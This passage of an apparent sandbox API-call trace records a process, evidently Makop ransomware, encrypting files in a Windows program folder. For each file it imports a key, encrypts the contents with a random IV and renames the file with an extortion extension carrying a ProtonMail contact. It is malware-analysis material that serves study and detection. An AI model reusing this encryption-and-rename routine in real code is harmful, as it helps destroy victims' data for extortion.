lpNewFilePointer=0x0) returned 1 [0085.746] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x774, lpOverlapped=0x0) returned 1 [0085.746] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780, dwBufLen=0x780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780) returned 1 [0085.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.747] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x780, lpOverlapped=0x0) returned 1 [0085.747] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.747] SetEndOfFile (hFile=0xf0) returned 1 [0085.755] GetProcessHeap () returned 0x48a0000 [0085.755] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0085.755] GetProcessHeap () returned 0x48a0000 [0085.755] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.755] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0085.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.756] CloseHandle (hObject=0xf0) returned 1 [0085.757] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0085.757] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0085.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.757] GetProcessHeap () returned 0x48a0000 [0085.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.757] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0085.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.762] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.762] GetProcessHeap () returned 0x48a0000 [0085.762] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.762] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.763] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.764] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.764] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.764] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3adb, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3adb, lpOverlapped=0x0) returned 1 [0085.765] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ae0, dwBufLen=0x3ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ae0) returned 1 [0085.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ae0, lpOverlapped=0x0) returned 1 [0085.767] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.767] SetEndOfFile (hFile=0xf0) returned 1 [0085.773] GetProcessHeap () returned 0x48a0000 [0085.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0085.774] GetProcessHeap () returned 0x48a0000 [0085.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.774] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0085.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.775] CloseHandle (hObject=0xf0) returned 1 [0085.775] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0085.775] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0085.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.776] GetProcessHeap () returned 0x48a0000 [0085.776] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.776] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0085.781] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.781] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.781] GetProcessHeap () returned 0x48a0000 [0085.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.782] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.783] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.783] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.783] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x42d, lpOverlapped=0x0) returned 1 [0085.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x430, dwBufLen=0x430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x430) returned 1 [0085.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x430, lpOverlapped=0x0) returned 1 [0085.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.784] SetEndOfFile (hFile=0xf0) returned 1 [0085.790] GetProcessHeap () returned 0x48a0000 [0085.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0085.790] GetProcessHeap () returned 0x48a0000 [0085.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0085.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.791] CloseHandle (hObject=0xf0) returned 1 [0085.792] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0085.792] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0085.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.794] GetProcessHeap () returned 0x48a0000 [0085.794] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.794] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0085.799] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.799] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.799] GetProcessHeap () returned 0x48a0000 [0085.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.799] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.800] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x425, lpOverlapped=0x0) returned 1 [0085.801] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x430, dwBufLen=0x430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x430) returned 1 [0085.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x430, lpOverlapped=0x0) returned 1 [0085.801] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.801] SetEndOfFile (hFile=0xf0) returned 1 [0085.808] GetProcessHeap () returned 0x48a0000 [0085.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0085.808] GetProcessHeap () returned 0x48a0000 [0085.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.808] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0085.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.809] CloseHandle (hObject=0xf0) returned 1 [0085.809] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0085.810] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0085.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.810] GetProcessHeap () returned 0x48a0000 [0085.810] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.810] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.810] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.811] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0085.815] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.815] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.815] GetProcessHeap () returned 0x48a0000 [0085.815] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.815] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.815] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, 